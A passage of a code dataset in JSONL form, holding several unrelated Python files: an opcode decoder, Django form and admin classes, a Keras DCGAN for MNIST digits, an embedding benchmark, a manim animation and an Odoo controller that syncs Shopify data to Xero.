opcodes == 1624:\n return 'SUB'\n elif opcodes == 1104:\n return 'AND'\n elif opcodes == 1360:\n return 'ORR'\n elif opcodes == 1872:\n return 'EOR'\n elif 160 <= opcodes <= 191:\n return 'B'\n elif 1160 <= opcodes <= 1161:\n return 'ADDI'\n elif 1672 <= opcodes <= 1673:\n return 'SUBI'\n elif opcodes == 1986:\n return 'LDUR'\n elif opcodes == 1984:\n return 'STUR'\n elif 1440 <= opcodes <= 1447:\n return 'CBZ'\n elif 1448 <= opcodes <= 1455:\n return 'CBNZ'\n elif 1684 <= opcodes <= 1687:\n return 'MOVZ'\n elif 1940 <= opcodes <= 1943:\n return 'MOVK'\n elif opcodes == 1690:\n return 'LSR'\n elif opcodes == 1691:\n return 'LSL'\n elif opcodes == 2038:\n return 'BREAK'\n elif opcodes == 2047:\n return '2C'\n else:\n return ' '\n\n\nclass State:\n def __initialize__(self,tempcycle):\n # self.cycle = cycle\n self.tempcycle = tempcycle\n\n def cycle(tempcycle):\n cycle = 0\n for x in range(0,len(Run_disassemble.opcodes)):\n tempcycle = cycle\n if(cycle == tempcycle + 1):\n return true\n else:\n return false\n","sub_path":"classes_Project2.py","file_name":"classes_Project2.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"77616829","text":"#coding=utf8\nfrom django.forms.models import ModelForm\nfrom .models import Article\nfrom PIL import Image\nimport os\n\nclass ArticleForm(ModelForm):\n\n def save(self, commit=True):\n rst = super(ArticleForm, self).save(commit=commit)\n image = rst.image\n if image and os.path.exists(image.path):\n img = Image.open(image.path)\n (width, height) = img.size\n max_width = 1024\n if width > max_width:\n percent = max_width * 1.0 / width\n width = int(width * percent)\n height = int(height * percent)\n resize_img = img.resize((width, height), Image.ANTIALIAS)\n resize_img.save(image.path)\n return rst\n\n class Meta:\n model = Article\n fields = ['title', 'image', 'content']\n","sub_path":"articles/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"17794170","text":"from django.contrib.gis import admin as adminGeo\nfrom django.contrib import admin\nfrom explicacion_situacional.modelsEncuestas.modelsConsultas import *\nfrom explicacion_situacional.modelsEncuestas.modelsParticipacion import *\nfrom explicacion_situacional.modelsExplicacion.modelsExplicacionesSituacional import *\n\nclass RespuestaSinoAdmin(admin.ModelAdmin):\n \"\"\"!\n\tClase que agrega modelo RespuestaSino en el panel administrativo\n\n\t@author Lully Troconis (ltroconis at cenditel.gob.ve)\n\t@copyright Licencia de Software CENDITEL versión 1.2\n\t@date 10-07-2018\n\t\"\"\"\n\t## Mostrar los campos\n list_display = ('user','pregunta', 'respuesta',)\n\t## Filtrar por campos\n list_filter = ('user',)\n\n\t## Mostrar 25 registros por página\n list_per_page = 25\n\n ## Ordenar por usuario\n ordering = ('user',)\n\n\t## Buscar por campos\n\t#search_fields = ('pregunta','user',)\n\nclass CaracterizacionAdmin(admin.ModelAdmin):\n \"\"\"!\n\tClase que agrega modelo Caracterizacion en el panel administrativo\n\n\t@author Lully Troconis (ltroconis at cenditel.gob.ve)\n\t@copyright Licencia de Software CENDITEL versión 1.2\n\t@date 10-07-2018\n\t\"\"\"\n ## Mostrar los campos\n list_display = ('caracterizacion', 'descripcion',)\n\t## Filtrar por campos\n list_filter = ('caracterizacion',)\n\n\t## Mostrar 25 registros por página\n list_per_page = 25\n\n ## Ordenar por usuario\n ordering = ('caracterizacion',)\n\nclass ConsultaAdmin(admin.ModelAdmin):\n \"\"\"!\n\tClase que agrega modelo Consulta en el panel administrativo\n\n\t@author Lully Troconis (ltroconis at cenditel.gob.ve)\n\t@copyright Licencia de Software CENDITEL versión 1.2\n\t@date 10-07-2018\n\t\"\"\"\n\t## Mostrar los campos\n list_display = ('user','activa' ,'nombre_consulta','fk_caracterizacion',)\n\t## Filtrar por campos\n list_filter = ('user',)\n\n\t## Mostrar 25 registros por página\n list_per_page = 25\n\n ## Ordenar por usuario\n ordering = ('user',)\n\nclass PreguntaAdmin(admin.ModelAdmin):\n \"\"\"!\n\tClase que agrega modelo Pregunta en el panel administrativo\n\n\t@author Lully Troconis (ltroconis at cenditel.gob.ve)\n\t@copyright Licencia de Software CENDITEL versión 1.2\n\t@date 10-07-2018\n\t\"\"\"\n\t## Mostrar los campos\n list_display = ('consulta', 'tipo_pregunta', 'texto_pregunta',)\n\t## Filtrar por campos\n list_filter = ('consulta',)\n\n\t## Mostrar 25 registros por página\n list_per_page = 25\n\n ## Ordenar por usuario\n ordering = ('consulta',)\n\nclass OpcionAdmin(admin.ModelAdmin):\n \"\"\"!\n\tClase que agrega modelo Opcion en el panel administrativo\n\n\t@author Lully Troconis (ltroconis at cenditel.gob.ve)\n\t@copyright Licencia de Software CENDITEL versión 1.2\n\t@date 10-07-2018\n\t\"\"\"\n\t## Mostrar los campos\n list_display = ('pregunta', 'texto_opcion',)\n\t## Filtrar por campos\n list_filter = ('texto_opcion',)\n\n\t## Mostrar 25 registros por página\n list_per_page = 25\n\n ## Ordenar por usuario\n ordering = ('texto_opcion',)\n\nclass RespuestaOpcionesAdmin(admin.ModelAdmin):\n \"\"\"!\n\tClase que agrega modelo RespuestaOpciones en el panel administrativo\n\n\t@author Lully Troconis (ltroconis at cenditel.gob.ve)\n\t@copyright Licencia de Software CENDITEL versión 1.2\n\t@date 10-07-2018\n\t\"\"\"\n\t## Mostrar los campos\n list_display = ('opcion', 'user',)\n\t## Filtrar por campos\n list_filter = ('user',)\n\n\t## Mostrar 25 registros por página\n list_per_page = 25\n\n ## Ordenar por usuario\n ordering = ('user',)\n\nclass RespuestaAbiertaAdmin(admin.ModelAdmin):\n \"\"\"!\n\tClase que agrega modelo RespuestaAbierta en el panel administrativo\n\n\t@author Lully Troconis (ltroconis at cenditel.gob.ve)\n\t@copyright Licencia de Software CENDITEL versión 1.2\n\t@date 10-07-2018\n\t\"\"\"\n\t## Mostrar los campos\n list_display = ('user', 'pregunta', 'es_justificacion',)\n\t## Filtrar por campos\n list_filter = ('user',)\n\n\t## Mostrar 25 registros por página\n list_per_page = 25\n\n ## Ordenar por usuario\n ordering = ('user',)\n\nclass RespuestaUbicacionAdmin(admin.ModelAdmin):\n \"\"\"!\n\tClase que agrega modelo RespuestaUbicacion en el panel administrativo\n\n\t@author Lully Troconis (ltroconis at cenditel.gob.ve)\n\t@copyright Licencia de Software CENDITEL versión 1.2\n\t@date 10-07-2018\n\t\"\"\"\n\t## Mostrar los campos\n list_display = ('user', 'pregunta', 'coordenadas',)\n\t## Filtrar por campos\n list_filter = ('user',)\n\n\t## Mostrar 25 registros por página\n list_per_page = 25\n\n ## Ordenar por usuario\n ordering = ('user',)\n\nclass ExplicSitConsultaAdmin(admin.ModelAdmin):\n \"\"\"!\n\tClase que agrega modelo ExplicSitConsulta en el panel administrativo\n\n\t@author Lully Troconis (ltroconis at cenditel.gob.ve)\n\t@copyright Licencia de Software CENDITEL versión 1.2\n\t@date 10-07-2018\n\t\"\"\"\n ## Mostrar los campos\n list_display = ('fk_consulta', 'fk_explicacion',)\n\t## Filtrar por campos\n list_filter = ('fk_consulta',)\n\n\t## Mostrar 25 registros por página\n list_per_page = 25\n\n ## Ordenar por usuario\n ordering = ('fk_consulta',)\n\n## Registra cada modelo en el panel administrativo\n#admin.site.register(RespuestaSino)\nadmin.site.register(RespuestaSino, RespuestaSinoAdmin)\nadmin.site.register(Caracterizacion, CaracterizacionAdmin)\nadmin.site.register(Consulta, ConsultaAdmin)\nadmin.site.register(TipoPregunta)\nadmin.site.register(Pregunta, PreguntaAdmin)\nadmin.site.register(Opcion)\nadmin.site.register(RespuestaOpciones, RespuestaOpcionesAdmin)\nadmin.site.register(RespuestaAbierta, RespuestaAbiertaAdmin)\nadmin.site.register(RespuestaUbicacion, RespuestaUbicacionAdmin)\nadmin.site.register(ExplicacionSituacional, adminGeo.OSMGeoAdmin)\nadmin.site.register(ExplicSitConsulta, ExplicSitConsultaAdmin)\n","sub_path":"explicacion_situacional/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":6353,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"164026341","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[4]:\n\n\nimport numpy as np\nimport glob\nfrom keras.datasets import mnist\nfrom keras import Model\nfrom keras import layers\nfrom keras import Input\nfrom keras import losses\nfrom keras.optimizers import Adam\nfrom keras.regularizers import l2\nfrom tensorflow.data import Dataset\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\n# MacOS matplotlib kernel issue\nimport os\nos.environ['KMP_DUPLICATE_LIB_OK']='True'\n\n\n# In[5]:\n\n\n(train_images, train_labels), (_, _) = mnist.load_data()\ntrain_images = train_images.reshape(train_images.shape[0], 28, 28, 1).astype('float32')\ntrain_images = (train_images - 127.5) / 127.5\n\n\n# In[6]:\n\n\nBUFFER_SIZE = 60000\nBATCH_SIZE = 256\nNOISE = (100,)\nGAN_STEPS = 400\nIMAGE_SHAPE = (28, 28, 1)\n\n\n# In[15]:\n\n\ndef generator_model(noise=NOISE):\n gen_input = Input(shape=noise)\n \n generator = layers.Dense(7 * 7 * 64, use_bias=False)(gen_input)\n generator = layers.BatchNormalization(momentum=0.9)(generator)\n enerator = layers.LeakyReLU(alpha=0.2)(generator)\n generator = layers.Reshape((7, 7, 64))(generator)\n generator = layers.Dropout(0.4)(generator)\n \n generator = layers.UpSampling2D()(generator)\n generator = layers.Conv2DTranspose(filters=128, kernel_size=(5,5), use_bias=False, padding='same', kernel_initializer='glorot_uniform')(generator)\n generator = layers.BatchNormalization(momentum=0.9)(generator)\n generator = layers.LeakyReLU(alpha=0.2)(generator)\n \n generator = layers.UpSampling2D()(generator)\n generator = layers.Conv2DTranspose(filters=64, kernel_size=(5,5), use_bias=False, padding='same', kernel_initializer='glorot_uniform')(generator)\n generator = layers.BatchNormalization(momentum=0.9)(generator)\n generator = layers.LeakyReLU(alpha=0.2)(generator)\n \n generator = layers.Conv2DTranspose(filters=32, kernel_size=(5,5), use_bias=False, padding='same', kernel_initializer='glorot_uniform')(generator)\n generator = layers.BatchNormalization(momentum=0.9)(generator)\n generator = layers.LeakyReLU(alpha=0.2)(generator)\n \n generator = layers.Conv2DTranspose(filters=1, kernel_size=(5,5), activation='tanh', use_bias=False, padding='same', kernel_initializer='glorot_uniform')(generator)\n \n model = Model(inputs=gen_input, outputs=generator)\n model.compile(optimizer=Adam(lr=1e-4), loss=losses.binary_crossentropy, metrics=['accuracy'])\n \n return model\n\n\n# In[16]:\n\n\ndef discriminator_model(image_shape=IMAGE_SHAPE):\n disc_input = Input(shape=image_shape)\n \n discriminator = layers.Conv2D(filters=64, kernel_size=(5,5), padding='same', strides=(2,2), kernel_initializer='glorot_uniform')(disc_input)\n discriminator = layers.LeakyReLU(alpha=0.2)(discriminator)\n discriminator = layers.Dropout(0.4)(discriminator)\n \n discriminator = layers.Conv2D(filters=128, kernel_size=(5,5), padding='same', strides=(2,2), kernel_initializer='glorot_uniform')(discriminator)\n discriminator = layers.LeakyReLU(alpha=0.2)(discriminator)\n discriminator = layers.Dropout(0.4)(discriminator)\n \n discriminator = layers.Conv2D(filters=256, kernel_size=(5,5), padding='same', strides=(2,2), kernel_initializer='glorot_uniform')(discriminator)\n discriminator = layers.LeakyReLU(alpha=0.2)(discriminator)\n discriminator = layers.Dropout(0.4)(discriminator)\n \n discriminator = layers.Conv2D(filters=512, kernel_size=(5,5), padding='same', strides=(1,1), kernel_initializer='glorot_uniform')(discriminator)\n discriminator = layers.LeakyReLU(alpha=0.2)(discriminator)\n discriminator = layers.Dropout(0.4)(discriminator)\n \n discriminator = layers.Flatten()(discriminator)\n discriminator = layers.Dense(1, activation='sigmoid')(discriminator)\n \n model = Model(inputs=disc_input, outputs=discriminator)\n model.compile(optimizer=Adam(lr=1e-4), loss=losses.binary_crossentropy, metrics=['accuracy'])\n \n return model\n\n\n# In[17]:\n\n\ngen_model = generator_model(NOISE)\ngen_model.summary()\n\n\n# In[18]:\n\n\ndisc_model = discriminator_model()\ndisc_model.summary()\ndisc_model.trainable = False\n\n\n# In[11]:\n\n\ngan_gen_input = Input(shape=NOISE)\ngan_gen = gen_model(gan_gen_input)\ngan_dis = disc_model(gan_gen)\n\ngan_model = Model(inputs=gan_gen_input, outputs=gan_dis)\ngan_model.compile(optimizer=Adam(lr=1e-4), loss=losses.binary_crossentropy, metrics=['accuracy'])\ngan_model.summary()\n\n\n# In[9]:\n\n\ndef save_fig(predicted, step):\n # Only 32 images will be printed\n if BATCH_SIZE > 32:\n predicted = predicted[:32]\n num_images = predicted.shape[0]\n fig = plt.figure(figsize=(15,7))\n columns = 8\n rows = np.ceil(num_images / columns)\n for i in range(num_images):\n fig.add_subplot(rows, columns, i+1)\n my_image = predicted[i]\n # Denormalize Image\n my_image = ((my_image + 1) * 127.5) / 255\n plt.imshow(my_image[:, :, 0], cmap='gray')\n plt.savefig('./GeneratedDigits/image_'+step+'.jpg', bbox_inches = 'tight', pad_inches = 0.1)\n# plt.show(block=True)\n plt.close('all')\n\n\n# In[10]:\n\n\nfor file in glob.glob('./GeneratedDigits/*'):\n if file.endswith('.jpg'):\n os.remove(file)\nfor file in glob.glob('./DigitModels/*'):\n if file.endswith('.h5'):\n os.remove(file)\n\n\n# In[11]:\n\n\ndef train_batch(images):\n # Create digits using generator\n gen_noise = np.random.normal(loc=0, scale=1, size=(images.shape[0],)+NOISE)\n created_digits = gen_model.predict(gen_noise)\n\n # Train Discriminator\n real_labels = np.ones((images.shape[0], 1), dtype=np.int).ravel()\n fake_labels = np.zeros((images.shape[0], 1), dtype=np.int).ravel()\n\n disc_model.trainable = True\n gen_model.trainable = False\n\n real_disc_metrics = disc_model.train_on_batch(images, real_labels)\n gen_disc_metrics = disc_model.train_on_batch(created_digits, fake_labels)\n\n # Train GAN\n gen_model.trainable = True\n disc_model.trainable = False\n\n gan_noise = np.random.normal(loc=0, scale=1, size=(images.shape[0],)+NOISE)\n gan_labels = np.ones((images.shape[0], 1), dtype=np.int).ravel()\n gan_metrics = gan_model.train_on_batch(gan_noise, gan_labels)\n \n return real_disc_metrics, gen_disc_metrics, gan_metrics\n\n\n# In[14]:\n\n\nwith open('mnist_log.csv', 'w') as log:\n log.write('Step,RealDiscLoss,RealDiscAcc,GenDiscLoss,GenDiscAcc,GANLoss,GANAcc\\n')\n\nfor step in range(1, GAN_STEPS+1):\n print('**************************************')\n print()\n print(' Step: ', step)\n print()\n print('**************************************')\n \n if ((step % 1) == 0):\n gen_noise = np.random.normal(loc=0, scale=1, size=(BATCH_SIZE,)+NOISE)\n created_digits = gen_model.predict(gen_noise)\n save_fig(created_digits, str(step))\n \n real_disc_metrics, gen_disc_metrics, gan_metrics = [], [], []\n counter = 1\n start = 0\n end = BATCH_SIZE\n sliced = train_images[start:end]\n while (sliced.shape[0] > 0):\n# print(counter)\n real_disc_metrics, gen_disc_metrics, gan_metrics = train_batch(sliced)\n counter +=1\n start += BATCH_SIZE\n end += BATCH_SIZE\n sliced = train_images[start:end]\n \n # Append Log\n with open('mnist_log.csv', 'a') as log:\n log.write('%d,%f,%f,%f,%f,%f,%f\\n' % (step, real_disc_metrics[0], real_disc_metrics[1], gen_disc_metrics[0], gen_disc_metrics[1], gan_metrics[0], gan_metrics[1]))\n if ((step % 50) == 0):\n gan_model.save('./DigitModels/GANmodel_'+str(step)+'.h5')\n gen_model.trainable = True\n gen_model.save('./DigitModels/GENmodel_'+str(step)+'.h5')\n disc_model.trainable = True\n disc_model.save('./DigitModels/DISmodel_'+str(step)+'.h5')\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"DCGAN_on_MNIST/MNIST_GAN.py","file_name":"MNIST_GAN.py","file_ext":"py","file_size_in_byte":7744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"524994490","text":"import nltk\nimport plac\nimport os\nfrom os import path\nimport io\nimport gzip\nfrom collections import defaultdict\nimport cProfile\nimport pstats\n\nfrom thinc.neural.eeap import Embed\nfrom thinc.neural.eeap import NumpyOps\n\n\ndef iter_files(giga_dir):\n i = 0\n for subdir in os.listdir(giga_dir):\n if not path.isdir(path.join(giga_dir, subdir)):\n continue\n for filename in os.listdir(path.join(giga_dir, subdir)):\n if filename.endswith('gz'):\n print(filename)\n yield path.join(giga_dir, subdir, filename)\n i += 1\n if i >= 1:\n break\n break\n\n\ndef main(giga_dir):\n ops = NumpyOps()\n vectors = defaultdict(lambda: ops.allocate((300,)))\n W = ops.allocate((200, 300))\n embed = Embed(vectors=vectors, W=W, ops=ops)\n nr_word = 0\n for loc in iter_files(giga_dir):\n with gzip.open(loc, 'r') as file_:\n text = file_.read()\n words = text.split()\n vectors = embed.predict_batch(words)\n for word in words:\n if word not in embed.vectors:\n embed.vectors[word] = embed.ops.allocate((300,))\n nr_word += len(words)\n print(nr_word)\n\n\nif __name__ == '__main__':\n if 0:\n plac.call(main)\n else:\n cProfile.runctx(\"plac.call(main)\", globals(), locals(), \"Profile.prof\")\n s = pstats.Stats(\"Profile.prof\")\n s.strip_dirs().sort_stats(\"time\").print_stats()\n\n \n","sub_path":"bin/benchmark_embed.py","file_name":"benchmark_embed.py","file_ext":"py","file_size_in_byte":1478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"570090739","text":"#!/usr/bin/env python\n#Usage \"python3 -m manim Sweden_sample_manim_test.py Test -pl\"\nfrom manimlib.imports import *\n\nHEAD_INDEX = 0\nBODY_INDEX = 0\nARMS_INDEX = 0\nLEGS_INDEX = 0\n\n\nclass Test(Scene):\n def construct(self):\n square_c = Square(color=BLUE)\n #Area defination\n square = Square(fill_color=GOLD_B, fill_opacity=1, color=BLUE)\n square1 = Square(color=RED)\n square2= Square(color=GREEN)\n v_cities_square = VGroup(square, square1, square2)\n # Names defination\n country_name = TextMobject('Sweden', color=RED)\n country_name.scale(2)\n city_name = TextMobject('Stockhom', color=RED)\n city_name1 = TextMobject('Malmo', color=RED)\n city_name2 = TextMobject('Lund', color=RED)\n #Group cities together\n v_cities_names = VGroup(city_name, city_name1, city_name2)\n\n # Display People\n man = StickMan()\n man1 = StickMan()\n man2 = StickMan()\n v_people = VGroup(man, man1, man2)\n\n #square_c.surround(v_cities_square, v_cities_names, v_people)\n self.play(Write(square_c))\n\n # self.play(ShowCreation(first_line))\n # Display Country on top with UP\n country_name.to_edge(UP)\n self.play(Write(country_name))\n\n # Display City below the country\n city_name.next_to(country_name, LEFT + DOWN * 4)\n # Display Area below City name\n square.next_to(city_name, DOWN)\n #Display man outside city area\n self.play(ShowCreation(StickMan().next_to(square, DOWN)))\n # Display man inside the city area\n man.surround(square)\n #self.play(Write(city_name), Write(square))\n # Display City1 right side of another city\n city_name1.next_to(city_name, RIGHT * 4)\n square1.next_to(city_name1, DOWN)\n self.play(ShowCreation(StickMan().next_to(square1, DOWN)))\n man1.surround(square1)\n #self.play(Write(city_name1), Write(square1))\n # Display City2\n city_name2.next_to(city_name1, RIGHT * 4)\n square2.next_to(city_name2, DOWN)\n #man2.next_to(square2, DOWN)\n self.play(ShowCreation(StickMan().next_to(square2, DOWN)))\n man2.surround(square2)\n #Keep cities inside country\n square_c.surround(v_cities_square)\n #self.play(ShowCreation(square_c))\n #self.wait(3)\n self.play(ShowCreation(v_cities_names), ShowCreation(v_cities_square))\n #waving_man = StickMan(\"wave\")\n #self.add(start_man)\n #self.play(Transform(start_man, plain_man))\n self.play(ShowCreation(v_people))\n\n #self.wait()\n # self.play(ReplacementTransform(square, square1))\n\nclass StickMan(SVGMobject):\n CONFIG = {\n \"color\": BLUE_E,\n \"file_name_prefix\": \"PiCreatures\",\n \"stroke_width\": 0.5,\n \"stroke_color\": WHITE,\n \"fill_opacity\": 1.0,\n \"height\": 1,\n }\n\n def __init__(self, mode=\"plain\",\n SVG_IMAGE_DIR=\"manimlib/files/\",\n **kwargs):\n #PiCreatures_plain.svg\n digest_config(self, kwargs)\n self.mode = mode\n #self.parts_named = True\n self.parts_named = False\n try:\n svg_file = os.path.join(\n SVG_IMAGE_DIR,\n \"%s_%s.svg\" % (self.file_name_prefix, mode)\n )\n SVGMobject.__init__(self, file_name=svg_file, **kwargs)\n except:\n warnings.warn(\"No %s design with mode %s\" %\n (self.file_name_prefix, mode))\n svg_file = os.path.join(\n SVG_IMAGE_DIR,\n \"PiCreatures_plain.svg\",\n )\n SVGMobject.__init__(self, mode=\"plain\", file_name=svg_file, **kwargs)\n\n def name_parts(self):\n self.head = self.submobjects[HEAD_INDEX]\n self.body = self.submobjects[BODY_INDEX]\n self.arms = self.submobjects[ARMS_INDEX]\n self.legs = self.submobjects[LEGS_INDEX]\n self.parts_named = True\n\n def init_colors(self):\n SVGMobject.init_colors(self)\n if not self.parts_named:\n self.name_parts()\n #self.head.set_fill(self.color, opacity=1)\n #self.body.set_fill(RED, opacity=1)\n #self.arms.set_fill(YELLOW, opacity=1)\n #self.legs.set_fill(BLUE, opacity=1)\n return self","sub_path":"Sweden_sample_manim_test.py","file_name":"Sweden_sample_manim_test.py","file_ext":"py","file_size_in_byte":4338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"48961998","text":"from odoo import http\nfrom odoo.http import request\nfrom odoo.exceptions import UserError\nimport werkzeug\nimport requests\nimport json\nimport maya\nfrom .shopify import ShopifyController\nfrom .xero import XeroController\nimport timeit\nfrom profilehooks import profile\nfrom datetime import datetime, timedelta\n\n\nclass MainController(http.Controller):\n\n @http.route('/index', auth='public', type='http', csrf=False)\n def index(self, *ar, **kw):\n shop_url = ShopifyController().get_shop_url(kw=kw)\n if shop_url:\n request.session['shop_url'] = shop_url\n shopify_store = request.env['shopify.store'].sudo().search([('shopify_url', '=', shop_url)], limit=1)\n accounts = request.env['xero.account'].sudo().search([])\n if shopify_store:\n context = {\n 'shop_url': shop_url,\n 'shopify_store': shopify_store,\n 'accounts': accounts,\n }\n return request.render('shopify_app.index', context)\n\n @http.route('/save_settings', auth='public', type='http', csrf=False)\n def save_settings(self, *ar, **kw):\n shop_url = ShopifyController().get_shop_url(kw=kw)\n if shop_url:\n shopify_store = request.env['shopify.store'].sudo().search([('shopify_url', '=', shop_url)])\n if shopify_store:\n sale_account = shopify_store.sale_account\n if 'sale_account' in kw:\n sale_account = kw['sale_account']\n shipping_account = shopify_store.shipping_account\n if 'shipping_account' in kw:\n shipping_account = kw['shipping_account']\n payment_account = shopify_store.payment_account\n if 'payment_account' in kw:\n payment_account = kw['payment_account']\n # auto_sync = shopify_store.auto_sync\n if 'auto_sync' in kw:\n auto_sync = True\n else:\n auto_sync = False\n vals = {\n 'sale_account': sale_account,\n 'shipping_account': shipping_account,\n 'payment_account': payment_account,\n 'auto_sync': auto_sync,\n }\n shopify_store.sudo().write(vals)\n return werkzeug.utils.redirect('/index?shop_url=%s' % shop_url)\n\n @profile(immediate=True)\n @http.route('/sync_to_xero', auth='public', type='http', csrf=False)\n def sync_to_xero(self, *ar, **kw):\n shop_url = ShopifyController().get_shop_url(kw=kw)\n context = {}\n if shop_url:\n shopify_store = request.env['shopify.store'].sudo().search([('shopify_url', '=', shop_url)], limit=1)\n accounts = request.env['xero.account'].sudo().search([])\n if shopify_store:\n context = {\n 'shop_url': shop_url,\n 'shopify_store': shopify_store,\n 'accounts': accounts,\n }\n from_date = ''\n to_date = ''\n if 'from_date' in kw:\n from_date = kw['from_date']\n if 'to_date' in kw:\n to_date = kw['to_date']\n date_valid = self.is_date_valid(from_date,to_date)\n if not date_valid:\n context_error = {\n 'message': 'Error: Invalid date'}\n context.update(context_error)\n return request.render('shopify_app.index',context)\n else:\n from_date ,to_date = self.convert_date_format(from_date=from_date,to_date=to_date)\n pass_contact = self.pass_contact_to_xero(from_date=from_date, to_date=to_date)\n if pass_contact:\n pass_product = self.pass_product_to_xero(from_date=from_date, to_date=to_date)\n if pass_product:\n pass_order = self.pass_order_to_xero(from_date=from_date, to_date=to_date)\n if pass_order:\n return werkzeug.utils.redirect('/index?shop_url=%s'%shop_url)\n else:\n print('ERROR 3')\n else:\n print('ERROR 2')\n else:\n print('ERROR 1')\n\n def switch_status(self, status):\n switcher = {\n 'open': 'DRAFT',\n 'invoice_sent': 'DRAFT',\n 'pending': 'SUBMITTED',\n 'authorized': 'AUTHORISED',\n 'partially_paid': 'AUTHORISED',\n 'paid': 'AUTHORISED',\n 'partially_refunded': 'DELETED',\n 'refunded': 'DELETED',\n 'voided': 'DELETED',\n }\n return switcher.get(status,\"DELETED\")\n\n @http.route('/pass_contact_to_xero', auth='public', type='http')\n def pass_contact_to_xero(self, from_date, to_date, **kw):\n shopify = ShopifyController().get_shopify()\n vals_list = []\n if shopify:\n customers = shopify.Customer.find(updated_at_min=from_date, updated_at_max=to_date)\n # customers2 = shopify.Customer.find(updated_at_min='2020-07-18', updated_at_max='2020-07-20')\n if customers:\n vals_list = self.customer_vals_list(customers)\n xero = XeroController().get_xero()\n xero.contacts.save(vals_list)\n return True\n\n def customer_vals_list(self,customers):\n vals_list = []\n for customer in customers:\n vals = {\n \"Name\": '%s %s - Shopify (%s)' % (customer.first_name, customer.last_name, customer.id),\n \"ContactNumber\": customer.id,\n \"IsSupplier\": False,\n \"IsCustomer\": True,\n \"FirstName\": customer.first_name,\n \"LastName\": customer.last_name,\n \"EmailAddress\": customer.email,\n # \"Phones\": customer.phone,\n \"ContactPersons\": [\n {\n \"FirstName\": customer.first_name,\n \"LastName\": customer.last_name,\n \"EmailAddress\": customer.email,\n \"IncludeInEmails\": True,\n }\n ],\n \"Phones\": [\n {\n \"PhoneType\": \"DEFAULT\",\n \"PhoneNumber\": customer.phone,\n }, {\n \"PhoneType\": \"FAX\"\n }, {\n \"PhoneType\": \"MOBILE\"\n }, {\n \"PhoneType\": \"DDI\"\n }\n ],\n }\n vals_list.append(vals)\n return vals_list\n\n @http.route('/pass_product_to_xero', auth='public', type='http')\n def pass_product_to_xero(self, from_date, to_date, **kw):\n shop_url = ShopifyController().get_shop_url()\n if shop_url:\n shopify = ShopifyController().get_shopify(shop_url)\n vals_list = []\n if shopify:\n products = shopify.Product.find(updated_at_min=from_date, updated_at_max=to_date)\n # get product sale_account\n if products:\n shopify_store = request.env['shopify.store'].sudo().search([('shopify_url', '=', shop_url)])\n sale_account = ''\n if shopify_store:\n sale_account = shopify_store.sale_account\n for product in products:\n for variant in product.variants:\n # item_cost = self.get_item_cost(inventory_items,variant )\n vals = self.product_vals(product, variant, sale_account)\n vals_list.append(vals)\n xero = XeroController().get_xero()\n xero.items.save(vals_list)\n return True\n\n def get_item_cost(self,inventory_items, variant):\n item_cost = [inventory_item.cost for inventory_item in inventory_items if inventory_item.id == variant.inventory_item_id]\n result = 0\n if item_cost:\n result = int(item_cost[0])\n return result\n\n def product_vals(self,product, variant, sale_account):\n varitant_title = variant.title\n if varitant_title == 'Default Title':\n varitant_title = ''\n vals = {\n \"Code\": variant.id,\n \"Name\": product.title + ' ' + varitant_title.upper(),\n \"Description\": product.title + ' ' + varitant_title.upper(),\n # \"PurchaseDescription\": product.title + ' ' + varitant_title.upper(),\n # \"PurchaseDetails\": {\n # \"UnitPrice\": item_cost,\n # \"COGSAccountCode\": \"300\",\n # \"TaxType\": \"NONE\"\n # },\n \"SalesDetails\": {\n \"UnitPrice\": int(variant.price),\n \"AccountCode\": sale_account,\n # \"TaxType\": \"NONE\"\n },\n \"QuantityOnHand\": variant.inventory_quantity,\n # \"InventoryAssetAccountCode\": \"630\",\n \"IsSold\": True,\n # \"IsPurchased\": True,\n }\n return vals\n\n # @profile(immediate=True)\n @http.route('/pass_order_to_xero', auth='public', type='http')\n def pass_order_to_xero(self, from_date, to_date, **kw):\n shop_url = ShopifyController().get_shop_url()\n if shop_url:\n shopify_store = request.env['shopify.store'].sudo().search([('shopify_url', '=', shop_url)])\n sale_account = ''\n shipping_account = ''\n payment_account = ''\n if shopify_store:\n sale_account = shopify_store.sale_account\n shipping_account = shopify_store.shipping_account\n payment_account = shopify_store.payment_account\n\n shopify = ShopifyController().get_shopify(shop_url)\n if shopify:\n vals_list = []\n orders = shopify.Order.find(updated_at_min=from_date, updated_at_max=to_date)\n if orders:\n for order in orders:\n # order vals\n # add contact\n vals = self.order_vals(order)\n contact_vals = self.add_contact_vals(order)\n if contact_vals:\n vals['Contact'] = contact_vals\n # add payment\n # payment_vals = []\n # if order.financial_status in ['paid', 'partially_paid']:\n # # if order.financial_status in ['invoice_sent', 'pending']:\n # if shopify_store:\n # if order.payment_details:\n # payment_vals = [{\n # \"Amount\": 1000,\n # 'Account': {\n # 'Code': shopify_store.payment_account\n # },\n # \"Reference\": \"Naswm chawsc anw langw nes\"\n # }]\n # vals['Payments'] = payment_vals\n\n # order line vals\n # add free ship ,discount amount item\n line_items_vals = []\n if order.discount_applications:\n for discount_application in order.discount_applications:\n if order.discount_codes:\n for discount_code in order.discount_codes:\n if discount_application.target_selection == 'all' or discount_application.target_selection == 'entitled':\n if discount_code.type == 'shipping':\n free_ship_item_vals = self.add_free_ship_item(order, sale_account)\n line_items_vals.append(free_ship_item_vals)\n elif discount_code.type == 'fixed_amount':\n fixed_amount_vals = self.add_discount_amount(order, sale_account)\n line_items_vals.append(fixed_amount_vals)\n elif discount_code.type == 'percentage':\n percentage_amount_vals = self.add_discount_percentage(order, sale_account)\n line_items_vals.append(percentage_amount_vals)\n else:\n if discount_application.type == 'automatic':\n if discount_application.target_selection == 'all' or discount_application.target_selection == 'entitled':\n if discount_application.allocation_method == 'across': # differ with buy 1 get 